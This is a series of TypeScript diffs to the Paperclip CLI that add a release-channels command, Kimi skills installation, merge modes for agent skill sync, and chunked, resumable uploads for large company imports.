export const RELEASE_CHANNELS: readonly ChannelDescriptor[] = [
|
||||
{
|
||||
channel: "stable",
|
||||
distTag: "latest",
|
||||
cadence: "manual, soaked in beta for 3+ days",
|
||||
audience: "the recommended release for almost everyone",
|
||||
},
|
||||
{
|
||||
channel: "beta",
|
||||
distTag: "beta",
|
||||
cadence: "manual promotion behind an approval gate",
|
||||
audience: "release candidates: what stable becomes a few days later",
|
||||
},
|
||||
{
|
||||
channel: "nightly",
|
||||
distTag: "nightly",
|
||||
cadence: "once a night, smoke-gated",
|
||||
audience: "yesterday's merges, tested as a unit",
|
||||
},
|
||||
{
|
||||
channel: "canary",
|
||||
distTag: "canary",
|
||||
cadence: "every merge to master",
|
||||
audience: "the bleeding edge",
|
||||
},
|
||||
];
|
||||
|
||||
const CALVER_RE = /^\d{4}\.\d{1,4}\.\d+$/;
|
||||
const PRERELEASE_RE = /^\d{4}\.\d{1,4}\.\d+-(canary|nightly|beta)\.\d+$/;
|
||||
|
||||
// Published versions carry their lane in the version string; the source
|
||||
// checkout's package.json holds a placeholder that matches neither form.
|
||||
export function channelForVersion(version: string): ChannelName | "unknown" {
|
||||
const prerelease = version.match(PRERELEASE_RE);
|
||||
if (prerelease) return prerelease[1] as ChannelName;
|
||||
if (CALVER_RE.test(version)) return "stable";
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
export type ChannelState = ChannelDescriptor & { version: string | null };
|
||||
|
||||
export async function collectChannelState(
|
||||
runCommand: CommandRunner = defaultRunCommand,
|
||||
): Promise<ChannelState[]> {
|
||||
const resolved = await Promise.allSettled(
|
||||
RELEASE_CHANNELS.map((entry) => resolvePublishedVersion(entry.distTag, runCommand)),
|
||||
);
|
||||
return RELEASE_CHANNELS.map((entry, index) => {
|
||||
const outcome = resolved[index];
|
||||
return {
|
||||
...entry,
|
||||
version: outcome.status === "fulfilled" ? outcome.value : null,
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
export type ChannelsOptions = { json?: boolean };
|
||||
|
||||
export async function channelsCommand(
|
||||
options: ChannelsOptions = {},
|
||||
runCommand: CommandRunner = defaultRunCommand,
|
||||
): Promise<void> {
|
||||
const state = await collectChannelState(runCommand);
|
||||
const currentChannel = channelForVersion(packageVersion);
|
||||
|
||||
if (options.json) {
|
||||
console.log(
|
||||
JSON.stringify(
|
||||
{
|
||||
current: { version: packageVersion, channel: currentChannel },
|
||||
channels: state,
|
||||
},
|
||||
null,
|
||||
2,
|
||||
),
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
console.log(pc.bold("Paperclip release channels"));
|
||||
console.log("");
|
||||
for (const entry of state) {
|
||||
const version = entry.version ?? pc.yellow("unavailable");
|
||||
console.log(` ${pc.bold(entry.channel.padEnd(8))} ${version}`);
|
||||
console.log(` ${" ".repeat(8)} ${pc.dim(`${entry.cadence} — ${entry.audience}`)}`);
|
||||
console.log(` ${" ".repeat(8)} ${pc.dim(`npx paperclipai@${entry.distTag} onboard`)}`);
|
||||
console.log("");
|
||||
}
|
||||
|
||||
if (currentChannel === "unknown") {
|
||||
console.log(
|
||||
`This install reports version ${pc.bold(packageVersion)}, which does not map to a published channel (source checkouts report the repository placeholder).`,
|
||||
);
|
||||
} else {
|
||||
console.log(`This install is version ${pc.bold(packageVersion)} on the ${pc.bold(currentChannel)} channel.`);
|
||||
}
|
||||
console.log(`Docker images use the same names: ghcr.io/paperclipai/paperclip:{latest,beta,nightly,canary}`);
|
||||
}
|
||||
@@ -71,6 +71,7 @@ interface AgentResetSessionOptions extends BaseClientOptions {
|
||||
|
||||
interface AgentSkillsSyncOptions extends BaseClientOptions {
|
||||
desiredSkills: string;
|
||||
mode: string;
|
||||
}
|
||||
|
||||
interface AgentInstructionsFileOptions extends BaseClientOptions {
|
||||
@@ -92,7 +93,7 @@ interface CreatedAgentKey {
|
||||
}
|
||||
|
||||
interface SkillsInstallSummary {
|
||||
tool: "codex" | "claude";
|
||||
tool: "codex" | "claude" | "kimi";
|
||||
target: string;
|
||||
linked: string[];
|
||||
removed: string[];
|
||||
@@ -114,10 +115,16 @@ function claudeSkillsHome(): string {
|
||||
return path.join(base, "skills");
|
||||
}
|
||||
|
||||
function kimiSkillsHome(): string {
|
||||
const fromEnv = process.env.KIMI_CODE_HOME?.trim();
|
||||
const base = fromEnv && fromEnv.length > 0 ? fromEnv : path.join(os.homedir(), ".kimi-code");
|
||||
return path.join(base, "skills");
|
||||
}
|
||||
|
||||
async function installSkillsForTarget(
|
||||
sourceSkillsDir: string,
|
||||
targetSkillsDir: string,
|
||||
tool: "codex" | "claude",
|
||||
tool: "codex" | "claude" | "kimi",
|
||||
): Promise<SkillsInstallSummary> {
|
||||
const summary: SkillsInstallSummary = {
|
||||
tool,
|
||||
@@ -589,10 +596,17 @@ export function registerAgentCommands(program: Command): void {
|
||||
.description("Sync desired skills onto an agent")
|
||||
.argument("<agentId>", "Agent ID")
|
||||
.requiredOption("--desired-skills <csv>", "Desired skill names")
|
||||
.requiredOption(
|
||||
"--mode <mode>",
|
||||
"Merge mode: add keeps other skills; remove deletes only named skills; replace destructively overwrites the complete set",
|
||||
)
|
||||
.action(async (agentId: string, opts: AgentSkillsSyncOptions) => {
|
||||
try {
|
||||
const ctx = resolveCommandContext(opts);
|
||||
const payload = agentSkillSyncSchema.parse({ desiredSkills: parseCsv(opts.desiredSkills) });
|
||||
const payload = agentSkillSyncSchema.parse({
|
||||
desiredSkills: parseCsv(opts.desiredSkills),
|
||||
mode: opts.mode,
|
||||
});
|
||||
const result = await ctx.api.post(apiPath`/api/agents/${agentId}/skills/sync`, payload);
|
||||
printOutput(result, { json: ctx.json });
|
||||
} catch (err) {
|
||||
@@ -763,7 +777,7 @@ export function registerAgentCommands(program: Command): void {
|
||||
.option("--key-name <name>", "API key label", "local-cli")
|
||||
.option(
|
||||
"--no-install-skills",
|
||||
"Skip installing Paperclip skills into ~/.codex/skills and ~/.claude/skills",
|
||||
"Skip installing Paperclip skills into ~/.codex/skills, ~/.claude/skills, and ~/.kimi-code/skills",
|
||||
)
|
||||
.action(async (agentRef: string, opts: AgentLocalCliOptions) => {
|
||||
try {
|
||||
@@ -795,6 +809,7 @@ export function registerAgentCommands(program: Command): void {
|
||||
installSummaries.push(
|
||||
await installSkillsForTarget(skillsDir, codexSkillsHome(), "codex"),
|
||||
await installSkillsForTarget(skillsDir, claudeSkillsHome(), "claude"),
|
||||
await installSkillsForTarget(skillsDir, kimiSkillsHome(), "kimi"),
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { Command } from "commander";
|
||||
import { createHash } from "node:crypto";
|
||||
import { mkdir, readdir, readFile, stat, writeFile } from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
import * as p from "@clack/prompts";
|
||||
@@ -12,10 +13,24 @@ import type {
|
||||
CompanyPortabilityPreviewResult,
|
||||
CompanyPortabilityImportResult,
|
||||
} from "@paperclipai/shared";
|
||||
import {
|
||||
companyImportTransferApplyPath,
|
||||
companyImportTransferPartPath,
|
||||
companyImportTransferPreviewPath,
|
||||
COMPANY_IMPORT_TRANSFERS_ROUTE_PATH,
|
||||
type CompanyImportTransferCreated,
|
||||
type CompanyImportTransferDeclaration,
|
||||
} from "@paperclipai/shared/company-import-transfer";
|
||||
import { getTelemetryClient, trackCompanyImported } from "../../telemetry.js";
|
||||
import { ApiRequestError } from "../../client/http.js";
|
||||
import { ApiRequestError, type PaperclipApiClient } from "../../client/http.js";
|
||||
import { openUrl } from "../../client/board-auth.js";
|
||||
import { binaryContentTypeByExtension, bytesToPortableFileEntry, isBlobStorePath, readZipArchive } from "./zip.js";
|
||||
import {
|
||||
binaryContentTypeByExtension,
|
||||
bytesToPortableFileEntry,
|
||||
createStoredZipArchive,
|
||||
isBlobStorePath,
|
||||
readZipArchive,
|
||||
} from "./zip.js";
|
||||
import {
|
||||
addCommonClientOptions,
|
||||
apiPath,
|
||||
@@ -548,6 +563,16 @@ function summarizeImportAgentResults(agents: CompanyPortabilityImportResult["age
|
||||
return `${agents.length} ${pluralize(agents.length, "agent")} total (${parts.join(", ")})`;
|
||||
}
|
||||
|
||||
function summarizeImportSkillResults(skills: CompanyPortabilityImportResult["skills"]): string {
|
||||
if (skills.length === 0) return "0 skills changed";
|
||||
const actions = ["created", "renamed", "replaced", "skipped"] as const;
|
||||
const parts = actions.flatMap((action) => {
|
||||
const count = skills.filter((skill) => skill.action === action).length;
|
||||
return count > 0 ? [`${count} ${action}`] : [];
|
||||
});
|
||||
return `${skills.length} ${pluralize(skills.length, "skill")} total (${parts.join(", ")})`;
|
||||
}
|
||||
|
||||
function summarizeImportProjectResults(projects: CompanyPortabilityImportResult["projects"]): string {
|
||||
if (projects.length === 0) return "0 projects changed";
|
||||
const created = projects.filter((project) => project.action === "created").length;
|
||||
@@ -681,10 +706,12 @@ export function renderCompanyImportResult(
|
||||
result: CompanyPortabilityImportResult,
|
||||
meta: { targetLabel: string; companyUrl?: string; infoMessages?: string[] },
|
||||
): string {
|
||||
const skills = result.skills ?? [];
|
||||
const lines: string[] = [
|
||||
`${pc.bold("Target")} ${meta.targetLabel}`,
|
||||
`${pc.bold("Company")} ${result.company.name} (${actionChip(result.company.action)})`,
|
||||
`${pc.bold("Agents")} ${summarizeImportAgentResults(result.agents)}`,
|
||||
`${pc.bold("Skills")} ${summarizeImportSkillResults(skills)}`,
|
||||
`${pc.bold("Projects")} ${summarizeImportProjectResults(result.projects)}`,
|
||||
];
|
||||
|
||||
@@ -701,6 +728,15 @@ export function renderCompanyImportResult(
|
||||
reason: agent.reason,
|
||||
})),
|
||||
);
|
||||
appendPreviewExamples(
|
||||
lines,
|
||||
"Skill results",
|
||||
skills.map((skill) => ({
|
||||
action: skill.action,
|
||||
label: `${skill.originalSlug} -> ${skill.slug}`,
|
||||
reason: skill.reason,
|
||||
})),
|
||||
);
|
||||
appendPreviewExamples(
|
||||
lines,
|
||||
"Project results",
|
||||
@@ -906,23 +942,23 @@ async function pathExists(inputPath: string): Promise<boolean> {
|
||||
}
|
||||
}
|
||||
|
||||
async function collectPackageFiles(
|
||||
async function collectPackageFileBytes(
|
||||
root: string,
|
||||
current: string,
|
||||
files: Record<string, CompanyPortabilityFileEntry>,
|
||||
files: Record<string, Uint8Array>,
|
||||
): Promise<void> {
|
||||
const entries = await readdir(current, { withFileTypes: true });
|
||||
for (const entry of entries) {
|
||||
if (entry.name.startsWith(".git")) continue;
|
||||
const absolutePath = path.join(current, entry.name);
|
||||
if (entry.isDirectory()) {
|
||||
await collectPackageFiles(root, absolutePath, files);
|
||||
await collectPackageFileBytes(root, absolutePath, files);
|
||||
continue;
|
||||
}
|
||||
if (!entry.isFile()) continue;
|
||||
const relativePath = path.relative(root, absolutePath).replace(/\\/g, "/");
|
||||
if (!shouldIncludePortableFile(relativePath)) continue;
|
||||
files[relativePath] = bytesToPortableFileEntry(relativePath, await readFile(absolutePath));
|
||||
files[relativePath] = await readFile(absolutePath);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -944,14 +980,232 @@ export async function resolveInlineSourceFromPath(inputPath: string): Promise<{
|
||||
}
|
||||
|
||||
const rootDir = resolvedStat.isDirectory() ? resolved : path.dirname(resolved);
|
||||
const files: Record<string, CompanyPortabilityFileEntry> = {};
|
||||
await collectPackageFiles(rootDir, rootDir, files);
|
||||
const fileBytes: Record<string, Uint8Array> = {};
|
||||
await collectPackageFileBytes(rootDir, rootDir, fileBytes);
|
||||
return {
|
||||
rootPath: path.basename(rootDir),
|
||||
files,
|
||||
files: Object.fromEntries(
|
||||
Object.entries(fileBytes).map(([relativePath, bytes]) => [
|
||||
relativePath,
|
||||
bytesToPortableFileEntry(relativePath, bytes),
|
||||
]),
|
||||
),
|
||||
};
|
||||
}
|
||||
|
||||
// ── Chunked transfer flow for large local packages ───────────────────
|
||||
//
|
||||
// A local package over the threshold is not posted as one inline JSON body:
|
||||
// its zip is declared as a chunked transfer (whole-file and per-part sha256),
|
||||
// the parts are uploaded individually with per-part retries, and preview and
|
||||
// apply run server-side against the assembled spool. Re-declaring the same
|
||||
// content — after a failure or an interrupted run — resumes the prior
|
||||
// transfer, so only the parts the server is missing are ever re-uploaded.
|
||||
|
||||
export const CHUNKED_IMPORT_THRESHOLD_BYTES = 48 * 1024 * 1024;
|
||||
// Imports into an EXISTING company post to /api/companies/:id/imports/*,
|
||||
// which sits behind the server's default 10 MB JSON parser — only the
|
||||
// generic /api/companies/import path carries the 64 MB portable limit. The
|
||||
// chunk decision for existing targets therefore uses this lower threshold
|
||||
// (margin under 10 MB for the envelope), or the inline body would 413.
|
||||
export const EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES = 8 * 1024 * 1024;
|
||||
export const IMPORT_TRANSFER_PART_SIZE_BYTES = 32 * 1024 * 1024;
|
||||
const IMPORT_TRANSFER_PART_ATTEMPTS = 3;
|
||||
|
||||
// ── Inline request size estimation ───────────────────────────────────
|
||||
//
|
||||
// Mirrors `estimateInlineImportBytes` in ui/src/lib/import-preflight.ts (the
|
||||
// CLI cannot import from ui/) — keep the math on both sides in sync. The
|
||||
// server enforces its body limit on raw request bytes, so each entry is
|
||||
// measured the way it actually travels: JSON-escaped UTF-8 for text
|
||||
// (multi-byte characters and escape sequences both inflate past
|
||||
// `String.length`), and the base64 payload plus its object structure for
|
||||
// binary entries (base64 and MIME types are ASCII, one byte per character).
|
||||
|
||||
const inlineEstimateUtf8 = new TextEncoder();
|
||||
|
||||
// Fixed serialization overhead of a base64 entry object around its data and
|
||||
// contentType values: {"encoding":"base64","data":"…","contentType":"…"}.
|
||||
const BASE64_ENTRY_STRUCTURE_BYTES = '{"encoding":"base64","data":"","contentType":""}'.length;
|
||||
|
||||
// Allowance for everything in the request body besides the files map itself
|
||||
// (rootPath, include flags, target, collision strategy, adapter overrides,
|
||||
// braces and commas). Deliberately generous so the estimate never undercounts.
|
||||
const REQUEST_ENVELOPE_ALLOWANCE_BYTES = 256 * 1024;
|
||||
|
||||
function fileEntryInlineBytes(entry: CompanyPortabilityFileEntry): number {
|
||||
if (typeof entry === "string") return inlineEstimateUtf8.encode(JSON.stringify(entry)).length;
|
||||
return BASE64_ENTRY_STRUCTURE_BYTES + entry.data.length + (entry.contentType?.length ?? 0);
|
||||
}
|
||||
|
||||
/**
|
||||
* Approximate JSON request size of an inline import: JSON-escaped UTF-8 text
|
||||
* bytes, base64 payloads with their entry structure, the serialized file-path
|
||||
* keys (thousands of paths are real bytes), and an envelope allowance for the
|
||||
* rest of the request body.
|
||||
*/
|
||||
function estimateInlineImportBytes(files: Record<string, CompanyPortabilityFileEntry>): number {
|
||||
let total = REQUEST_ENVELOPE_ALLOWANCE_BYTES;
|
||||
for (const [filePath, entry] of Object.entries(files)) {
|
||||
// "path": entry, → key bytes + colon + comma.
|
||||
total += inlineEstimateUtf8.encode(JSON.stringify(filePath)).length + 2 + fileEntryInlineBytes(entry);
|
||||
}
|
||||
return total;
|
||||
}
|
||||
|
||||
export interface ImportTransferUploadProgress {
|
||||
uploadedParts: number;
|
||||
totalParts: number;
|
||||
uploadedBytes: number;
|
||||
totalBytes: number;
|
||||
}
|
||||
|
||||
export function buildImportTransferManifest(zipBytes: Uint8Array): CompanyImportTransferDeclaration {
|
||||
const sha256 = (bytes: Uint8Array) => createHash("sha256").update(bytes).digest("hex");
|
||||
const parts: CompanyImportTransferDeclaration["parts"] = [];
|
||||
for (let offset = 0; offset < zipBytes.length; offset += IMPORT_TRANSFER_PART_SIZE_BYTES) {
|
||||
const byteSize = Math.min(IMPORT_TRANSFER_PART_SIZE_BYTES, zipBytes.length - offset);
|
||||
parts.push({
|
||||
index: parts.length,
|
||||
byteSize,
|
||||
sha256: sha256(zipBytes.subarray(offset, offset + byteSize)),
|
||||
});
|
||||
}
|
||||
return {
|
||||
totalBytes: zipBytes.length,
|
||||
zipSha256: sha256(zipBytes),
|
||||
partSizeBytes: IMPORT_TRANSFER_PART_SIZE_BYTES,
|
||||
parts,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a local import source into raw zip bytes when its package is too
|
||||
* large to travel as one inline JSON body: a .zip file is read as-is (so its
|
||||
* declared hashes match the file on disk), a folder is packaged as a stored
|
||||
* zip in memory with the same walk filters the inline path uses. Both source
|
||||
* kinds are measured twice — raw bytes as a fast path, then the estimated
|
||||
* inline request size, because base64 inflates binary entries ~4/3 and a
|
||||
* compressed zip can expand far past its file size. Returns null for sources
|
||||
* under the threshold on both measures — those keep the inline JSON path.
|
||||
*/
|
||||
export async function resolveChunkedImportZip(
|
||||
inputPath: string,
|
||||
thresholdBytes: number = CHUNKED_IMPORT_THRESHOLD_BYTES,
|
||||
): Promise<{
|
||||
zipBytes: Uint8Array;
|
||||
rootPath: string;
|
||||
} | null> {
|
||||
const resolved = path.resolve(inputPath);
|
||||
const resolvedStat = await stat(resolved);
|
||||
if (resolvedStat.isFile() && path.extname(resolved).toLowerCase() === ".zip") {
|
||||
const zipBytes = new Uint8Array(await readFile(resolved));
|
||||
const rootPath = path.basename(resolved, ".zip");
|
||||
if (resolvedStat.size > thresholdBytes) return { zipBytes, rootPath };
|
||||
// A small compressed zip can still expand past server caps as inline
|
||||
// JSON (text compresses well and binary re-inflates ~4/3 as base64), so
|
||||
// the stay-inline decision uses the estimated request size of the same
|
||||
// entries the inline path would send. An unreadable zip stays inline so
|
||||
// that path surfaces its canonical parse error.
|
||||
let archive: Awaited<ReturnType<typeof readZipArchive>>;
|
||||
try {
|
||||
archive = await readZipArchive(zipBytes);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
if (estimateInlineImportBytes(archive.files) <= thresholdBytes) return null;
|
||||
return { zipBytes, rootPath };
|
||||
}
|
||||
if (!resolvedStat.isDirectory()) return null;
|
||||
const fileBytes: Record<string, Uint8Array> = {};
|
||||
await collectPackageFileBytes(resolved, resolved, fileBytes);
|
||||
const rootPath = path.basename(resolved);
|
||||
// Content bytes alone already past the threshold means the stored zip
|
||||
// (content plus headers) is too.
|
||||
const contentBytes = Object.values(fileBytes).reduce((sum, bytes) => sum + bytes.length, 0);
|
||||
if (contentBytes <= thresholdBytes) {
|
||||
// Raw bytes under the threshold can still blow past server caps once the
|
||||
// inline body is built (binary entries travel base64-inflated), so the
|
||||
// stay-inline decision is made on the estimated request size — the same
|
||||
// entries the inline path would send.
|
||||
const inlineEntries = Object.fromEntries(
|
||||
Object.entries(fileBytes).map(([relativePath, bytes]) => [
|
||||
relativePath,
|
||||
bytesToPortableFileEntry(relativePath, bytes),
|
||||
]),
|
||||
);
|
||||
if (estimateInlineImportBytes(inlineEntries) <= thresholdBytes) return null;
|
||||
}
|
||||
return { zipBytes: createStoredZipArchive(fileBytes, rootPath), rootPath };
|
||||
}
|
||||
|
||||
/**
|
||||
* Declare (or resume) the transfer for these zip bytes and upload every part
|
||||
* the server reports missing, sequentially with per-part retries. Resolves
|
||||
* with the transfer id once the server holds every part.
|
||||
*/
|
||||
export async function uploadCompanyImportTransfer(
|
||||
api: Pick<PaperclipApiClient, "post" | "putRaw">,
|
||||
zipBytes: Uint8Array,
|
||||
opts: { onProgress?: (progress: ImportTransferUploadProgress) => void } = {},
|
||||
): Promise<string> {
|
||||
const manifest = buildImportTransferManifest(zipBytes);
|
||||
const created = await api.post<CompanyImportTransferCreated>(
|
||||
`/api/companies${COMPANY_IMPORT_TRANSFERS_ROUTE_PATH}`,
|
||||
manifest,
|
||||
);
|
||||
if (!created) {
|
||||
throw new Error("Import transfer declaration returned no data.");
|
||||
}
|
||||
if (created.alreadyCompleted) {
|
||||
// The server keys transfers by content, and this exact zip already
|
||||
// finished an apply — its spooled parts are gone, so it cannot re-run.
|
||||
throw new Error(
|
||||
"This exact package was already imported by a completed transfer. Re-export the package to import it again.",
|
||||
);
|
||||
}
|
||||
const missing = new Set(created.missingParts);
|
||||
let uploadedParts = manifest.parts.length - missing.size;
|
||||
let uploadedBytes = manifest.parts.reduce(
|
||||
(sum, part) => (missing.has(part.index) ? sum : sum + part.byteSize),
|
||||
0,
|
||||
);
|
||||
for (const part of manifest.parts) {
|
||||
if (!missing.has(part.index)) continue;
|
||||
const offset = part.index * manifest.partSizeBytes;
|
||||
const bytes = zipBytes.subarray(offset, offset + part.byteSize);
|
||||
let lastError: unknown = null;
|
||||
let uploaded = false;
|
||||
for (let attempt = 0; attempt < IMPORT_TRANSFER_PART_ATTEMPTS && !uploaded; attempt += 1) {
|
||||
try {
|
||||
await api.putRaw(
|
||||
`/api/companies${companyImportTransferPartPath(created.transferId, part.index)}`,
|
||||
bytes,
|
||||
);
|
||||
uploaded = true;
|
||||
} catch (err) {
|
||||
lastError = err;
|
||||
}
|
||||
}
|
||||
if (!uploaded) {
|
||||
// Parts already uploaded stay spooled server-side; re-running the
|
||||
// import resumes from them instead of starting over.
|
||||
throw lastError instanceof Error
|
||||
? lastError
|
||||
: new Error(`Import transfer part ${part.index} failed to upload.`);
|
||||
}
|
||||
uploadedParts += 1;
|
||||
uploadedBytes += part.byteSize;
|
||||
opts.onProgress?.({
|
||||
uploadedParts,
|
||||
totalParts: manifest.parts.length,
|
||||
uploadedBytes,
|
||||
totalBytes: manifest.totalBytes,
|
||||
});
|
||||
}
|
||||
return created.transferId;
|
||||
}
|
||||
|
||||
export async function writeExportToFolder(outDir: string, exported: CompanyPortabilityExportResult): Promise<void> {
|
||||
const root = path.resolve(outDir);
|
||||
await mkdir(root, { recursive: true });
|
||||
@@ -1443,6 +1697,7 @@ export function registerCompanyCommands(program: Command): void {
|
||||
let sourcePayload:
|
||||
| { type: "inline"; rootPath?: string | null; files: Record<string, CompanyPortabilityFileEntry> }
|
||||
| { type: "github"; url: string };
|
||||
let chunkedZip: { zipBytes: Uint8Array; rootPath: string } | null = null;
|
||||
|
||||
const treatAsLocalPath = !isHttpUrl(from) && await pathExists(from);
|
||||
const isGithubSource = looksLikeRepoUrl(from) || (isGithubShorthand(from) && !treatAsLocalPath);
|
||||
@@ -1459,12 +1714,24 @@ export function registerCompanyCommands(program: Command): void {
|
||||
if (opts.ref?.trim()) {
|
||||
throw new Error("--ref is only supported for GitHub import sources.");
|
||||
}
|
||||
const inline = await resolveInlineSourceFromPath(from);
|
||||
sourcePayload = {
|
||||
type: "inline",
|
||||
rootPath: inline.rootPath,
|
||||
files: inline.files,
|
||||
};
|
||||
chunkedZip = await resolveChunkedImportZip(
|
||||
from,
|
||||
target === "existing"
|
||||
? EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES
|
||||
: CHUNKED_IMPORT_THRESHOLD_BYTES,
|
||||
);
|
||||
if (chunkedZip) {
|
||||
// Too large for one request: the zip travels as a chunked
|
||||
// transfer, so the inline files map is never built or sent.
|
||||
sourcePayload = { type: "inline", rootPath: chunkedZip.rootPath, files: {} };
|
||||
} else {
|
||||
const inline = await resolveInlineSourceFromPath(from);
|
||||
sourcePayload = {
|
||||
type: "inline",
|
||||
rootPath: inline.rootPath,
|
||||
files: inline.files,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
const sourceLabel = formatSourceLabel(sourcePayload);
|
||||
@@ -1475,15 +1742,40 @@ export function registerCompanyCommands(program: Command): void {
|
||||
companyId: targetPayload.mode === "existing_company" ? targetPayload.companyId : null,
|
||||
});
|
||||
|
||||
// The transfer meta mirrors the inline preview payload minus its
|
||||
// `source` — the source is the assembled zip, spooled server-side.
|
||||
const transferMeta = {
|
||||
include,
|
||||
target: targetPayload,
|
||||
agents,
|
||||
collisionStrategy: collision,
|
||||
};
|
||||
let transferId: string | null = null;
|
||||
if (chunkedZip) {
|
||||
transferId = await uploadCompanyImportTransfer(ctx.api, chunkedZip.zipBytes, {
|
||||
onProgress: ctx.json
|
||||
? undefined
|
||||
: ({ uploadedParts, totalParts, uploadedBytes, totalBytes }) => {
|
||||
console.log(
|
||||
pc.dim(
|
||||
`Uploaded part ${uploadedParts}/${totalParts} (${Math.round(uploadedBytes / (1024 * 1024))} of ${Math.round(totalBytes / (1024 * 1024))} MB)`,
|
||||
),
|
||||
);
|
||||
},
|
||||
});
|
||||
}
|
||||
const transferPreviewPath = transferId
|
||||
? `/api/companies${companyImportTransferPreviewPath(transferId)}`
|
||||
: null;
|
||||
|
||||
let selectedFiles: string[] | undefined;
|
||||
if (interactiveView && !opts.yes && !opts.include?.trim()) {
|
||||
const initialPreview = await ctx.api.post<CompanyPortabilityPreviewResult>(previewApiPath, {
|
||||
source: sourcePayload,
|
||||
include,
|
||||
target: targetPayload,
|
||||
agents,
|
||||
collisionStrategy: collision,
|
||||
});
|
||||
const initialPreview = transferPreviewPath
|
||||
? await ctx.api.post<CompanyPortabilityPreviewResult>(transferPreviewPath, transferMeta)
|
||||
: await ctx.api.post<CompanyPortabilityPreviewResult>(previewApiPath, {
|
||||
source: sourcePayload,
|
||||
...transferMeta,
|
||||
});
|
||||
if (!initialPreview) {
|
||||
throw new Error("Import preview returned no data.");
|
||||
}
|
||||
@@ -1492,13 +1784,15 @@ export function registerCompanyCommands(program: Command): void {
|
||||
|
||||
const previewPayload = {
|
||||
source: sourcePayload,
|
||||
include,
|
||||
target: targetPayload,
|
||||
agents,
|
||||
collisionStrategy: collision,
|
||||
...transferMeta,
|
||||
selectedFiles,
|
||||
};
|
||||
const preview = await ctx.api.post<CompanyPortabilityPreviewResult>(previewApiPath, previewPayload);
|
||||
const preview = transferPreviewPath
|
||||
? await ctx.api.post<CompanyPortabilityPreviewResult>(transferPreviewPath, {
|
||||
...transferMeta,
|
||||
selectedFiles,
|
||||
})
|
||||
: await ctx.api.post<CompanyPortabilityPreviewResult>(previewApiPath, previewPayload);
|
||||
if (!preview) {
|
||||
throw new Error("Import preview returned no data.");
|
||||
}
|
||||
@@ -1555,10 +1849,15 @@ export function registerCompanyCommands(program: Command): void {
|
||||
targetMode: targetPayload.mode,
|
||||
companyId: targetPayload.mode === "existing_company" ? targetPayload.companyId : null,
|
||||
});
|
||||
const imported = await ctx.api.post<CompanyPortabilityImportResult>(importApiPath, {
|
||||
...previewPayload,
|
||||
adapterOverrides,
|
||||
});
|
||||
const imported = transferId
|
||||
? await ctx.api.post<CompanyPortabilityImportResult>(
|
||||
`/api/companies${companyImportTransferApplyPath(transferId)}`,
|
||||
{ ...transferMeta, selectedFiles, adapterOverrides },
|
||||
)
|
||||
: await ctx.api.post<CompanyPortabilityImportResult>(importApiPath, {
|
||||
...previewPayload,
|
||||
adapterOverrides,
|
||||
});
|
||||
if (!imported) {
|
||||
throw new Error("Import request returned no data.");
|
||||
}
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
import { Command } from "commander";
|
||||
import type {
|
||||
Agent,
|
||||
AgentSkillSnapshot,
|
||||
CatalogSkill,
|
||||
CompanySkill,
|
||||
CompanySkillAuditResult,
|
||||
CompanySkillDetail,
|
||||
CompanySkillFileDetail,
|
||||
CompanySkillImportResult,
|
||||
CompanySkillInstallCatalogResult,
|
||||
CompanySkillListItem,
|
||||
CompanySkillProjectScanResult,
|
||||
CompanySkillUpdateStatus,
|
||||
import {
|
||||
agentSkillAssignmentModeSchema,
|
||||
type AgentSkillAssignmentMode,
|
||||
type Agent,
|
||||
type AgentSkillSnapshot,
|
||||
type CatalogSkill,
|
||||
type CompanySkill,
|
||||
type CompanySkillAuditResult,
|
||||
type CompanySkillDetail,
|
||||
type CompanySkillFileDetail,
|
||||
type CompanySkillImportResult,
|
||||
type CompanySkillInstallCatalogResult,
|
||||
type CompanySkillListItem,
|
||||
type CompanySkillProjectScanResult,
|
||||
type CompanySkillUpdateStatus,
|
||||
} from "@paperclipai/shared";
|
||||
import { readFile } from "node:fs/promises";
|
||||
import { stdin as input, stdout as output } from "node:process";
|
||||
@@ -69,6 +71,7 @@ interface ConfirmedSkillOptions extends SkillsOptions {
|
||||
|
||||
interface AgentSkillSyncOptions extends SkillsOptions {
|
||||
skill?: string[];
|
||||
mode: AgentSkillAssignmentMode;
|
||||
}
|
||||
|
||||
type CompanySkillReferenceTarget = Pick<CompanySkillListItem, "id" | "key" | "slug" | "name">;
|
||||
@@ -502,9 +505,13 @@ function registerAgentSkillCommands(skills: Command): void {
|
||||
addCommonClientOptions(
|
||||
agent
|
||||
.command("sync")
|
||||
.description("Replace an agent's desired company skills and sync runtime state")
|
||||
.description("Merge an agent's desired company skills and sync runtime state")
|
||||
.argument("<agentRef>", "Agent ID or shortname/url-key")
|
||||
.option("--skill <skillRef>", "Desired company skill ID, key, or slug; may be repeated", collectOptionValue, [] as string[])
|
||||
.requiredOption(
|
||||
"--mode <mode>",
|
||||
"Merge mode: add keeps other skills; remove deletes only named skills; replace destructively overwrites the complete set",
|
||||
)
|
||||
.action(async (agentRef: string, opts: AgentSkillSyncOptions) => {
|
||||
try {
|
||||
const desiredSkills = opts.skill ?? [];
|
||||
@@ -513,16 +520,17 @@ function registerAgentSkillCommands(skills: Command): void {
|
||||
}
|
||||
const ctx = resolveCommandContext(opts, { requireCompany: true });
|
||||
const agentRow = await resolveAgent(ctx, agentRef);
|
||||
const mode = agentSkillAssignmentModeSchema.parse(opts.mode);
|
||||
const snapshot = await ctx.api.post<AgentSkillSnapshot>(
|
||||
`/api/agents/${encodeURIComponent(agentRow.id)}/skills/sync`,
|
||||
{ desiredSkills },
|
||||
{ desiredSkills, mode },
|
||||
);
|
||||
if (ctx.json) {
|
||||
printOutput(snapshot, { json: true });
|
||||
return;
|
||||
}
|
||||
console.log(
|
||||
`Desired company skills replaced for ${agentRow.name} (${agentRow.id}); runtime sync returned ${snapshot?.entries.length ?? 0} entrie(s).`,
|
||||
